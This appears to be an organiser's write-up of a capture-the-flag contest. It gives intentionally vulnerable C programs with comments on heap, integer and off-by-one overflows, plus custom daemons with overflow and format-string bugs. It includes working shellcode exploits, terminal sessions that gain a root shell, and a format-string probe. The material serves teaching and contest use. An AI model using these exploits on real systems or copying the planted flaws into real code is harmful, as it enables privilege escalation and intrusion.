this years, we decided to provide vulnerable source code, and let the teams write exploits. it was getting boring seeing teams firing up nessus and nmap year after year.
NOTE: unlike the defcon ctf game, we have no qualifying round. so year after year, we weren't sure of the team's technical skills - which make for a rather interesing mix. the debate every year was setting the difficulty level of the game. expecting teams to write exploit may back fire, but we went ahead with the plan this year anyway. this year, none of the teams were aware that they need to write exploits.
all source codes can be downloaded here.
none of the services are vulnerable, or at least have any 0days that we are aware of.
/* * Type of vulnerability: Heap Overflow. Overflow will happen when * the length of argv[1] string is shorter than NAME constant. This this * case malloc() allocates smaller amount of data is malloc'ed. And strncpy * will attempt to copy "negative" amount of data (negative number will be * converted into a large positive due to size_t being defined as unsigned * integer). On certain architectures additional manipulation with the heap * data is required to make this bug exploitable. * */ #include#define NAME "name:" int main (int argc, char *argv[]) { char *buf; if (argc !=2) return 1; if (strncmp(NAME, argv[1], strlen(NAME))> 0) { buf = (char *)malloc(strlen(argv[1])); strncpy(buf, argv[1] + strlen(NAME), strlen(argv[1]) - strlen(NAME)); printf(" %s copied\n", buf); /* may require additional heap data manipulation here */ free(buf); } return 1; }
/* * Type of vulnerability: typical 'strncat' usage bug. strncat will use * at most BUFSIZ characters from the s2 here. Overflow may be triggered * during the second call of catbuf() function, if argv[1] is large enough. * */ #includeint catbuf(char *s1, char *s2) { strncat(s1, s2, BUFSIZ); } int main(int argc, char *argv[]) { char buf[BUFSIZ + 1]; bzero(buf, BUFSIZ); if (argc > 2) catbuf(buf, argv[1]); if (argc > 2) catbuf(buf, argv[1]); return 0; }
(root@panda)[196] /home/bug02 # ./bug02 `ruby -e 'print "\x90" * 524;print "BBBB"'` A A zsh: segmentation fault (core dumped) ./bug02 `ruby -e 'print "\x90" * 524;print "BBBB"'` A A (root@panda)[197] /home/bug02 # gdb -c bug02.core bug02 GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"...(no debugging symbols found)... Core was generated by `bug02'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.5...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.5 Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x42424242 in ?? () (gdb) (root@panda)[253] /home/bug02 # ./bug02 `ruby -e 'print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";print "\x90" * 493;print "\x5c\xec\xbf\xbf"'` A A # quit
xwings@montana.$ gcc -o bug02 bug02.c xwings@montana. $ ./bug02 `ruby -e 'print "A" * 4108;print "BBBB"'` A Segmentation fault (core dumped) xwings@montana. $ gdb -c core ./bug02 GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1". Core was generated by `./bug02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Input/output error Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x42424242 in ?? () (gdb) quit xwings@montana. $ ./bug02 `ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80";print "\x90" * 4074;print "\xa0\x44\x8b\xbf"'` A sh-3.00$
/* * This code is demonstrating off-by-one problem. snprintf() of Solaris' * libc requires an extra byte to be reserved for '\0' character at the end * of the string. The loop after the string does the same thing. * */ #includevoid offone(char *s) { char buf[BUFSIZ]; int i; snprintf(buf, BUFSIZ,"%s", s); // vulnerable on Solaris for (i = 0; i <= BUFSIZ || s[i] == 0; i++) buf[i] = s[i]; // all other platforms printf("%s", buf); } int main(int argc, char *argv[]) { if (argc > 1) offone(argv[1]); }
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char SHELLCODE[] =
"\x90\x90\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46"
"\x08\x89\x46\xd0\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d"
"\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/sh";
int main()
{
char paddedsc[1024];
char *env[] = {paddedsc, NULL};
char astring[BUFSIZ + 1];
int i;
for (i = 0; i < sizeof(paddedsc) - 1; i++) { paddedsc[i] = 0x90; }
strncpy(paddedsc, "EGG=", 4);
strcpy(&paddedsc[500], SHELLCODE);
for (i = 0; i < sizeof(astring) - 1; i+=4) {
int *addr = (int*) &astring[i];
*addr = 0xbffffdd4;
}
astring[sizeof(astring) - 1] = 0;
execle("./vuln", "./vuln", astring, NULL, env);
return 0;
}
/* * Type of vulnerability: integer overflow bug. When argv[1] length is * larger than 65535 bytes, len gets truncated to (actuallen - 65535) and * condition len > sizeof(buf) becomes true. (unsigned short could * be replaced with simple unsigned, just the length of the string should * be longer for overflow to take pplace). * * */ #includevoid func(char *s, unsigned short len) { char buf[256]; if (len > sizeof(buf)) strncpy(buf, s, sizeof(buf)); else strcpy(buf, s); } int main(int argc, char *argv[]) { int len; if (argc < 2) return 0; len = strlen(argv[1]); func(argv[1], len); return 0; }
both panda and eagles were able to write exploit for this.
#include <stdlib.h>
#define BUF 65537
#define VULN "./bug4"
//char shellcode[]=
//"\x31\xc0\x50\xb0\x17\x50\xcd\x80"
//"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
//"\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
int i;
char *ptr, buffer[BUF];
long *addr_ptr, ret;
char *env[2] = {shellcode, NULL};
ptr = buffer;
addr_ptr = (long *) ptr;
ret = 0xbffffffa - strlen(shellcode) - strlen(VULN);
printf("Using ret = 0x%x\n\n", ret);
for(i = 0; i < BUF; i += 4)
*(addr_ptr++) = ret;
memcpy(ptr, shellcode, strlen(shellcode));
ptr += strlen(shellcode);
buffer[BUF - 1] = '\0';
execle(VULN, VULN + 2, buffer, 0, env);
}
this custom daemon was provided by fyodor (fyodor@o0o.nu) with small modifications by spoonfork (mel@hackinthebox.org). the daemon has a buffer overflow in the socketr() routine. panda was able to come up with a poc for the bug. none of the other teams are able to show anything, not even a poc. source.
EHLO AAAA%p%p%p%p%p%p (aot of %p), you will be able to find the marker.
this custom daemon was provided by fyodor (fyodor@o0o.nu) with small modifications by spoonfork (mel@hackinthebox.org). the daemon has a format string vulnerability that can be passed directly to vsnprintf() function call. panda, again, was able to show a poc for this. the other teams sucked at auditing codes. i wonder wether they can even point out where the bug was. source.
EHLO AAAA%p%p%p%p%p%p (aot of %p), you will be able to find the marker.
the idea was given by charl (charl@sensepost.com) when alphademon and i met him at bcs2005 in jakarta. this is a simple connect back server that listens on port 3490 and will connect back to you on port 39909 and give you root shell (as it was running with root privileges) when you connect to it. unfortunately, none of the teams were able to figure out what it actually does. we even gave hints like "ET call home" on the second day of the game. source.